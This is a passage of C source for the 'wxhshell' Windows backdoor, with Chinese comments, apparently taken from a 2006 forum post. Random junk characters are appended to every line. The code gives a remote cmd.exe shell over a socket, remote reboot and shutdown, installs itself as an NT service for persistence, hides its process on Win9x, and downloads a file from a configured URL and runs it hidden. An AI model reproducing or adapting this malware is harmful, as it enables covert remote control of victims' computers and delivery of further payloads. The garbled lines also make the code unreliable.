  send(wsh,msg_ws_err,strlen(msg_ws_err),0); $d,0=Ci  
  else lhtZaU~V  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); xY$iz)^0&  
  } me'd6!O9-  
  else { x3u4v~ "-  
XXh6^@H=  
    switch(cmd[0]) { KX}Rr7a  
  RKPD4e>%  
  // 帮助 |U_]vMq  
  case '?': { V=lfl1Ev0J  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); *b xzCI7b  
    break; > ]8a3x  
  } "3<da*D1  
  // 安装 Zr-U&9.`  
  case 'i': { JR@.R ,rII  
    if(Install()) j~FD{%4N  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); STglw-TC\  
    else 3LfC{ER  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); in(U:04  
    break; zLF?P3^  
    } m~dC3}e8/?  
  // 卸载 =b[_@zq]  
  case 'r': { o}<4*qlI  
    if(Uninstall()) !xwG% {_  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ]XTu+T.aT  
    else Z( 9 u<  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 8HZs>l  
    break; lhi_6&&[8  
    } fPR$kc h  
  // 显示 wxhshell 所在路径 W$'R} L  
  case 'p': { nwN@DqO  
    char svExeFile[MAX_PATH]; /"?HZ% W  
    strcpy(svExeFile,"\n\r"); )LdyC`S\c  
      strcat(svExeFile,ExeFile); \T;\XAGr  
        send(wsh,svExeFile,strlen(svExeFile),0); vBsP+K  
    break; PC qZNBN  
    } r@{~ 5&L  
  // 重启 ^::EikpF%  
  case 'b': { Dk='+\  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); wP57Pf0  
    if(Boot(REBOOT)) k2xHH$+{#=  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ^{\<N()R  
    else { (708H_  
    closesocket(wsh); c)Ic#<e(  
    ExitThread(0); DaH?@Q  
    } gZEi]/8_  
    break; 5"/J^"!h  
    } .7 asW(  
  // 关机 *c)uGz'cD  
  case 'd': { /1 RAAa  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); \V>?Do7  
    if(Boot(SHUTDOWN)) +`sv91c  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); gt\MS;jMa  
    else { :d8W +|1u  
    closesocket(wsh); zvvP81$W  
    ExitThread(0); ;r /;m\V  
    } =E&OuX-R  
    break; E0/mSm"(T  
    } Z--@.IYoJ  
  // 获取shell UYA_jpIP  
  case 's': { e;GU T:  
    CmdShell(wsh); 2..,Sk  
    closesocket(wsh); I2 a6w<b  
    ExitThread(0); ?go:e#  
    break; c!hwmy;  
  } cD4 kC>P*  
  // 退出 9=,uq;  
  case 'x': { zyg:nKQW  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); m>}8'N)  
    CloseIt(wsh); f,z P*  
    break; SSBg?H'T  
    } JxjI]SF02  
  // 离开 " v}pdUW  
  case 'q': { cV-1?h63  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); &3Zy|p4V<  
    closesocket(wsh); 5[{*{^F4  
    WSACleanup();  h C=:q  
    exit(1); 9]'($:LF08  
    break; >\ u<&>i  
        } }YOL"<,:o  
  } ~Z ~v  
  } 1 ^g t1o  
|+U<S~  
  // 提示信息 =&dW(uyzY  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 7DKz;o  
} )s9',4$eK<  
  } $DBGLmw  
@FN*TJ  
  return; `O^G5 0  
} =o p%8NJf  
qi^!GA'5j  
// shell模块句柄 #,(sAj  
int CmdShell(SOCKET sock) *[eL~oN.c  
{ `d2,*KR  
STARTUPINFO si; XI Jlc~2  
ZeroMemory(&si,sizeof(si)); @mt0kV9  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; g`k?AM\  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; Q{QYBh&  
PROCESS_INFORMATION ProcessInfo; xw<OLWW  
char cmdline[]="cmd"; i77GE  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); W YW|P2*  
  return 0; A\Txb_x  
} pWE`x|J  
6 fz}  
// 自身启动模式 jy2IZ o  
int StartFromService(void) R)Mt(gFZT_  
{ ~n!!jM:N  
typedef struct _kFYBd  
{  6qo^2  
  DWORD ExitStatus; uk`8X`'  
  DWORD PebBaseAddress; iF+RnWX\  
  DWORD AffinityMask; .wrL3z_  
  DWORD BasePriority; !.5),2  
  ULONG UniqueProcessId; T_<BVM  
  ULONG InheritedFromUniqueProcessId; H/~?@CE(YC  
}   PROCESS_BASIC_INFORMATION; 9=dkx^q  
!wLg67X$ -  
PROCNTQSIP NtQueryInformationProcess; eyw'7  
qBk``!|s]  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; *HM?YhR  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; Ja^ 5?Ar|  
T&"i _no*  
  HANDLE             hProcess; (9fdljl],:  
  PROCESS_BASIC_INFORMATION pbi; f%qt)Ick  
)E7 FA|  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ZX`J8lZP  
  if(NULL == hInst ) return 0; ~KIDv;HSb[  
;@4H5p  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); = Rc"^oS  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); i&+w _hD  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); =)<3pGO  
)+O r  
  if (!NtQueryInformationProcess) return 0; X.|Ygx  
uf)Oy7FQ  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); !DjT<dxf  
  if(!hProcess) return 0; \x\.  
=LH}YUmd  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; uOk%AL>  
Mn^zYW|(  
  CloseHandle(hProcess); f$xhb3Qn  
]gd/}m)1  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); (7q^FtjA#  
if(hProcess==NULL) return 0; ,=w!vO5s  
jD< pIHau  
HMODULE hMod; r:.uBc&_  
char procName[255]; \gKdD S  
unsigned long cbNeeded; sB*o)8  
I^0 t2[M  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); <DiOWi  
#+sF`qR,  
  CloseHandle(hProcess); 0'ZYO.y  
mc@M,2@D  
if(strstr(procName,"services")) return 1; // 以服务启动 {K.rl%_|N  
{gkwOMW  
  return 0; // 注册表启动 2)LX^?7R  
} /(6zsq'v|  
}ymvC  
// 主模块 #Q6w+"  
int StartWxhshell(LPSTR lpCmdLine) =Lw3 \5l  
{ B\<ydN  
  SOCKET wsl; a?<?5   
BOOL val=TRUE; @!H '+c  
  int port=0; %O) Z  
  struct sockaddr_in door; af>3V(7  
#vnT&FN0[  
  if(wscfg.ws_autoins) Install(); {OxWcK\2@h  
C6k4g75U2  
port=atoi(lpCmdLine); ?n*fy  
i!~>\r\6\  
if(port<=0) port=wscfg.ws_port; 8 lS($@@{  
{rGYRn,  
  WSADATA data; T^)plWw  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; T Oy7?;|=  
,olwwv_8G  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   @\!!t{y  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); @InJ_9E  
  door.sin_family = AF_INET; KS! iL=i  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); (|0b7 |'T  
  door.sin_port = htons(port); r@$B'CsLj  
6&],WGz  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 9s $PrF  
closesocket(wsl); ^![{,o@"A  
return 1; &:8T$U V  
} GVObz?Z]SB  
&:auB:b  
  if(listen(wsl,2) == INVALID_SOCKET) { 9t }xXk  
closesocket(wsl); 8eww7k^R  
return 1; G2@KI-  
} )5i* /I\  
  Wxhshell(wsl); d^SE)/j  
  WSACleanup(); Qp69Sk@H{  
Y\8+}g;KR  
return 0; SKx e3  
"t+r+ipf])  
} N9*UMVU  
zlMlMyG4  
// 以NT服务方式启动 cs5ix"1A  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 8nu> gA  
{ |uQ[W17^N  
DWORD   status = 0; <UK5eVQn  
  DWORD   specificError = 0xfffffff; w{P6i<J  
9RcM$[~  
  serviceStatus.dwServiceType     = SERVICE_WIN32; r /yHmEk&  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; >nNl^ yqW  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; T{;=#rG<  
  serviceStatus.dwWin32ExitCode     = 0; =+(Q.LmhC  
  serviceStatus.dwServiceSpecificExitCode = 0; l'2H 4W_+  
  serviceStatus.dwCheckPoint       = 0; y*|L:!   
  serviceStatus.dwWaitHint       = 0; x~(y "^ph  
%#4 +!  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); d"l}Ny)C  
  if (hServiceStatusHandle==0) return; y{;u@o?T  
KDaN-r^{%  
status = GetLastError(); 4g'}h`kh  
  if (status!=NO_ERROR) <|Iyt[s  
{ mrReast  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 1w) fu  
    serviceStatus.dwCheckPoint       = 0; C$ hQN  
    serviceStatus.dwWaitHint       = 0; nr<.YeJ  
    serviceStatus.dwWin32ExitCode     = status; KT%{G8Y@M  
    serviceStatus.dwServiceSpecificExitCode = specificError; KE#$+,?  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); QB9A-U <J  
    return; w%I8CU_}.  
  } cS 4T\{B;  
u!u5g.Q  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; _M&{^d  
  serviceStatus.dwCheckPoint       = 0; 2b~ HHVruX  
  serviceStatus.dwWaitHint       = 0;  L,%Z9  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); f:FpyCo=9  
} :4]J2U\@  
JQH7ZaN  
// 处理NT服务事件,比如:启动、停止 e9}8RHy1$  
VOID WINAPI NTServiceHandler(DWORD fdwControl) W%H]Uyt  
{ iGQ n/Xdo  
switch(fdwControl) BWohMT  
{ {)uU6z {'  
case SERVICE_CONTROL_STOP: @oA0{&G{  
  serviceStatus.dwWin32ExitCode = 0; GM77Z.Y  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; V:QdQ;c  
  serviceStatus.dwCheckPoint   = 0; +qZc} 7rJF  
  serviceStatus.dwWaitHint     = 0; k)Zn>  
  { ktWZBQY  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); m/KjJ"s,  
  } l)%mqW%  
  return; YVJ+' A=|  
case SERVICE_CONTROL_PAUSE: cPm~` Zd  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; ]p}#NPe5  
  break; 6VGo>b;  
case SERVICE_CONTROL_CONTINUE: -2z,cj&E{  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; "C& Jwm?  
  break; O68bzi]  
case SERVICE_CONTROL_INTERROGATE: ^YqbjL  
  break; r /^'Xj'(  
}; E"ZEo9y@^  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); =J`gGDhGY-  
} -S7RRh'p  
vD_u[j]  
// 标准应用程序主函数 c'xUJhEL  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) # UjEY9"M  
{ (%Ng'~J\|  
NuI T{3S  
// 获取操作系统版本 \A ;^ UxG  
OsIsNt=GetOsVer(); |c=d;+  
GetModuleFileName(NULL,ExeFile,MAX_PATH); .:T9pplq  
\?r$&K]4  
  // 从命令行安装 a4:`2  
  if(strpbrk(lpCmdLine,"iI")) Install(); &bn*p.=G  
eS* *L 3  
  // 下载执行文件 G]at{(^Vz  
if(wscfg.ws_downexe) { o}d2N/T  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) ]}_p3W "Y9  
  WinExec(wscfg.ws_filenam,SW_HIDE); _d/GdeLs  
} >}70]dN7b  
33O)k*g  
if(!OsIsNt) { D\n>*x  
// 如果时win9x,隐藏进程并且设置为注册表启动 /j$$0F>s7  
HideProc(); bGhhh/n  
StartWxhshell(lpCmdLine); Z4=_k{*  
} ]~$c~*0g  
else gQu\[e%mVo  
  if(StartFromService()) m2jwqx{G  
  // 以服务方式启动 vM5k4%D  
  StartServiceCtrlDispatcher(DispatchTable); [kVpzpGr  
else \a\^(`3a[  
  // 普通方式启动 jM{qRfOrg  
  StartWxhshell(lpCmdLine); $:qI&)/  
[O.LUR;  
return 0; muW`pm  
}
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只看该作者 1 发表于: 2006-10-10
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